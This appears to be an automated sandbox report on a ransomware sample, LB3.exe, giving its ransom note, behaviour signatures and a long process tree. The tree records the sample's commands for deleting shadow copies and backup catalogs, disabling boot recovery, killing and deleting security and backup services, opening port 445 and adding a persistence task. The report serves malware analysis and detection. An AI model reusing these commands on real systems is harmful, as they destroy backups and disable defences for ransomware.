Analysis
- user interaction
yes - max time kernel
298s - max time network
295s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
22/05/2026, 22:55
General
- Target LB3.exe
- Size 87KB
- Sample260522-2v37msas9s
- SHA256 0a1eb4dbe281ad9115aa909ba8cbe84eb7c8c06a5253b7fbea3a79d8d04edc63
Score
10/10
Malware Config
Extracted
Path
-
C:\Users\Admin\Downloads\READFORDECRYPTION.txt
Ransom Note
- #Clowned ahahahahha >>> What happens? Your network is encrypted, and currently not operational. We need only money, after payment we will give you a decryptor for the entire network and you will restore all the data. >>> What guarantees? We are not a politically motivated group and we do not need anything other than your money. If you pay, we will provide you the programs for decryption and we will delete your data. If we do not give you decrypters or we do not delete your data, no one will pay us in the future, this does not comply with our goals. We always keep our promises. >>> How to contact with us? 1. Download and install Telegram 2. type in browser t.me/nigerxd >>> Warning! Recovery recommendations. We strongly recommend you to do not MODIFY or REPAIR your files, that will damage them.
Signatures
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 6 IoCs
- Blocks application from running via registry modification 3 IoCs
Adds application to list of disallowed applications.
- Deletes backup catalog 3 TTPs 3 IoCs
Uses wbadmin.exe to inhibit system recovery.
- Disables Task Manager via registry modification
- Executes dropped EXE 2 IoCs
- Stops running service(s) 4 TTPs
- Windows security modification 2 TTPs 2 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Drops file in System32 directory 6 IoCs
- Sets desktop wallpaper using registry 2 TTPs 1 IoCs
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 5 IoCs
- Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 24 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 8 IoCs
- Discovers systems in the same network 1 TTPs 1 IoCs
- Enumerates system info in registry 2 TTPs 3 IoCs
- Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 7 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 1 IoCs
- Opens file in notepad (likely ransom note) 3 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 42 IoCs
- Suspicious use of SendNotifyMessage 16 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 4 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\LB3.exe"C:\Users\Admin\AppData\Local\Temp\LB3.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_hMuV6vsW.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout /t 2 /nobreak3⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_YHjeILZr.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout /t 2 /nobreak3⤵
- Delays execution with timeout.exe
-
-
-
C:\Users\Admin\AppData\Local\svchost.exe"C:\Users\Admin\AppData\Local\svchost.exe"2⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Blocks application from running via registry modification
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_DBqEAp9o.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout /t 2 /nobreak4⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_LmhFJXGL.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout /t 2 /nobreak4⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" /c New-NetFirewallRule -DisplayName "Allow Inbound TCP Port 445" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Allow -Enabled True3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" /c New-NetFirewallRule -DisplayName "Allow Outbound TCP Port 445" -Direction Outbound -Protocol TCP -LocalPort 445 -Action Allow -Enabled True3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn UpdateTaskm5L2bK /tr "C:\Users\Admin\AppData\Local\svchost.exe" /sc onlogon /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\vssadmin.exe"vssadmin.exe" delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit" /set {current} nointegritychecks on3⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SYSTEM32\bcdedit.exe"bcdedit" /set {current} testsigning on3⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SYSTEM32\net.exe"net" stop wuauserv3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet4⤵
- Deletes backup catalog
-
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill" /IM carbonblack.exe /F3⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill" /IM crowdstrike.exe /F3⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill" /IM defender.exe /F3⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill" /IM symantec.exe /F3⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill" /IM mcafee.exe /F3⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill" /IM kaspersky.exe /F3⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill" /IM trendmicro.exe /F3⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\sc.exe"sc" stop CarbonBlack3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc" delete CarbonBlack3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc" stop CrowdStrike3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc" delete CrowdStrike3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc" stop WinDefend3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc" delete WinDefend3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc" stop Symantec3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc" delete Symantec3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc" stop McAfee3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc" delete McAfee3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc" stop Kaspersky3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc" delete Kaspersky3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc" stop TmCCSF3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc" delete TmCCSF3⤵
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" interface ip set dns name="Ethernet" source=static addr=192.168.1.1003⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SYSTEM32\wbadmin.exe"wbadmin.exe" delete catalog -quiet3⤵
- Deletes backup catalog
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" stop WinDefend3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /DISABLE3⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_JtA41yHe.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout /t 2 /nobreak4⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_wLAmvUzc.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout /t 2 /nobreak4⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop vss3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop vss4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config vss start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete vss3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop vss3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop vss4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config vss start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete vss3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop vss3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop vss4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config vss start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete vss3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop sql3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sql4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config sql start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete sql3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop sql3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sql4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config sql start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete sql3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop sql3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sql4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config sql start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete sql3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop sql$3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sql$4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config sql$ start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete sql$3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop sql$3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sql$4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config sql$ start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete sql$3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop sql$3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sql$4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config sql$ start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete sql$3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop mysql3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mysql4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config mysql start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete mysql3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop mysql3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mysql4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config mysql start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete mysql3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop mysql3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mysql4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config mysql start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete mysql3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop mysql$3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mysql$4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config mysql$ start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete mysql$3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop mysql$3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mysql$4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config mysql$ start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete mysql$3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop mysql$3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mysql$4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config mysql$ start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete mysql$3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop svc$3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop svc$4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config svc$ start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete svc$3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop svc$3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop svc$4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config svc$ start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete svc$3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop svc$3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop svc$4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config svc$ start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete svc$3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop memtas3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop memtas4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config memtas start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete memtas3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop memtas3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop memtas4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config memtas start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete memtas3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop memtas3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop memtas4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config memtas start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete memtas3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop mepocs3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mepocs4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config mepocs start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete mepocs3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop mepocs3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mepocs4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config mepocs start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete mepocs3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop mepocs3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mepocs4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config mepocs start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete mepocs3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop sophos3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sophos4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config sophos start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete sophos3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop sophos3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sophos4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config sophos start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete sophos3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop sophos3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sophos4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config sophos start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete sophos3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop veeam3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop veeam4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config veeam start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete veeam3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop veeam3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop veeam4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config veeam start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete veeam3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop veeam3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop veeam4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config veeam start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete veeam3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop backup3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop backup4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config backup start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete backup3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop backup3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop backup4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config backup start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete backup3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop backup3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop backup4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config backup start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete backup3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop MSExchange3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchange4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config MSExchange start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete MSExchange3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop MSExchange3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchange4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config MSExchange start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete MSExchange3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop MSExchange3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchange4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config MSExchange start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete MSExchange3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop MSExchange$3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchange$4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config MSExchange$ start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete MSExchange$3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop MSExchange$3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchange$4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config MSExchange$ start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete MSExchange$3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop MSExchange$3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchange$4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config MSExchange$ start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete MSExchange$3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop WSBExchange3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WSBExchange4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config WSBExchange start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete WSBExchange3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop WSBExchange3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WSBExchange4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config WSBExchange start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete WSBExchange3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop WSBExchange3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WSBExchange4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config WSBExchange start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete WSBExchange3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop PDVFSService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop PDVFSService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config PDVFSService start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete PDVFSService3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop PDVFSService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop PDVFSService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config PDVFSService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete PDVFSService3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop PDVFSService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop PDVFSService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config PDVFSService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete PDVFSService3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecVSSProvider3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecVSSProvider start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecVSSProvider3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecVSSProvider3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecVSSProvider start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecVSSProvider3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecVSSProvider3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecVSSProvider start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecVSSProvider3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecAgentAccelerator3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecAgentAccelerator start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecAgentAccelerator3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecAgentAccelerator3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecAgentAccelerator start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecAgentAccelerator3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecAgentAccelerator3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecAgentAccelerator start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecAgentAccelerator3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecAgentBrowser3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecAgentBrowser start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecAgentBrowser3⤵
-
-
